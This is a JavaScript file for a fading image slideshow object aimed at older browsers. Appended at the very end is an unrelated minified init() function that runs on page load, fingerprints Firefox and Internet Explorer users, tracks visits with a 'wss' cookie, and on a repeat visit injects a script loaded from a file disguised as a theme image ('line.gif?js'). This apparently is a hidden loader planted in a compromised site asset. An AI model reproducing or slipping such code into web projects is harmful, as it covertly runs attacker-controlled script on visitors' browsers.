/**************************
* 	slideshow 
****************************/
function slideShowObj(name){
	this.name = name;
	this.slide = true;
	this.fade = true;
	this.fadeimages = new Array();
	this.preloadedimages = new Array();
	this.slideshow_width = '300px';
	this.slideshow_height = '300px';
	this.preloadFadeImages = preloadFadeImages;
	this.delay = 0;
	this.delayisset = false;
	this.pause = 3000;
	this.curpos=2;
	this.degree=10;
	this.curcanvas=this.name+"_canvas0";
	this.curimageindex=0;
	this.nextimageindex=1;
	this.crossobj = null;
	this.tempobj = null;
	this.dropslide = null;
	this.writeHTML = writeHTML;
	this.startSlide=startSlide;
	this.rotateImage = rotateImage;
	this.fadePic = fadePic;
	this.resetIt = resetIt;


	function preloadFadeImages(){
		if(this.fade){
			for (p=0;p<this.fadeimages.length;p++){
				this.preloadedimages[p]=new Image();
				this.preloadedimages[p].src=this.fadeimages[p];
			}
		}
	}
	
	function writeHTML(){
		if (this.fade && (document.all||document.getElementById)){
			var txt ='<div style="position:relative;width:'+this.slideshow_width+';height:'+this.slideshow_height+';overflow:hidden">';
			txt +='<div id="'+this.name+'_canvas0" style="position:absolute;width:'+this.slideshow_width+';height:'+this.slideshow_height+';top:0;left:0;filter:alpha(opacity=10);-moz-opacity:10"></div>';
			txt+='<div id="'+this.name+'_canvas1" style="position:absolute;width:'+this.slideshow_width+';height:'+this.slideshow_height+';top:0;left:0;filter:alpha(opacity=10);-moz-opacity:10"></div></div>';
			document.write(txt);
		} else {
			var txt = '<img name="'+this.name+'_defaultslide" src="'+this.fadeimages[0]+'">';
			document.write(txt);
		}
	}
	
	function startSlide(){
		if (this.fade && (document.all||document.getElementById)){
			var crossobj=(document.all)? eval("document.all."+this.curcanvas) : document.getElementById(this.curcanvas);
			crossobj.innerHTML='<img src="'+this.fadeimages[this.curimageindex]+'">';
			eval(this.name+".rotateImage()");
		} else {
			if(this.slide && !this.delayisset) setTimeout(this.name+".rotateImage()",this.pause + this.delay);
		}
	}
	
	function rotateImage(){
		if (this.fade && (document.all||document.getElementById)){
			this.resetIt();
			this.crossobj=this.tempobj=document.all? eval("document.all."+this.curcanvas) : document.getElementById(this.curcanvas);
			this.crossobj.style.zIndex++;
			var temp='setInterval("'+this.name+'.fadePic()",50)';
			this.dropslide=eval(temp);
			this.curcanvas=(this.curcanvas==(this.name+"_canvas0"))? this.name+"_canvas1" : this.name+"_canvas0";
		} else {
			document.images[this.name+"_defaultslide"].src=this.fadeimages[this.curimageindex];
			this.curimageindex=(this.curimageindex<this.fadeimages.length-1)? this.curimageindex+1 : 0;
			if(this.slide && !this.delayisset){
				this.delayisset = true;
				setInterval(this.name+".rotateImage()",this.pause);
			}
		}
	}
	
	function resetIt(){
		this.curpos=2;
		this.crossobj=(document.all)? eval("document.all."+this.curcanvas) : document.getElementById(this.curcanvas);
		if (this.crossobj.filters){
			this.crossobj.filters.alpha.opacity=this.curpos;
		} else if (this.crossobj.style.MozOpacity){
			this.crossobj.style.MozOpacity=this.curpos/101;
		}
	}
	
	function fadePic(){
		if (this.curpos<100){
			this.curpos+=2;
		if (this.tempobj.filters)
			this.tempobj.filters.alpha.opacity=this.curpos;
		else if (this.tempobj.style.MozOpacity)
			this.tempobj.style.MozOpacity=this.curpos/101
		}else{
			clearInterval(this.dropslide);
			if(this.slide){
				nextcanvas=(this.curcanvas==(this.name+"_canvas0"))? this.name+"_canvas0" : this.name+"_canvas1";
				this.tempobj=(document.all)? eval("document.all."+nextcanvas) : document.getElementById(nextcanvas);
				this.tempobj.innerHTML='<img src="'+this.fadeimages[this.nextimageindex]+'">';
				this.nextimageindex=(this.nextimageindex<this.fadeimages.length-1)? this.nextimageindex+1 : 0;
				
				if(!this.delayisset){
					setTimeout(this.name+".rotateImage()",this.delay);
					this.delayisset = true;
				} else {
					setTimeout(this.name+".rotateImage()",this.pause);
				}
			}
		}
	}
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/cms/themes/default/img/line.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
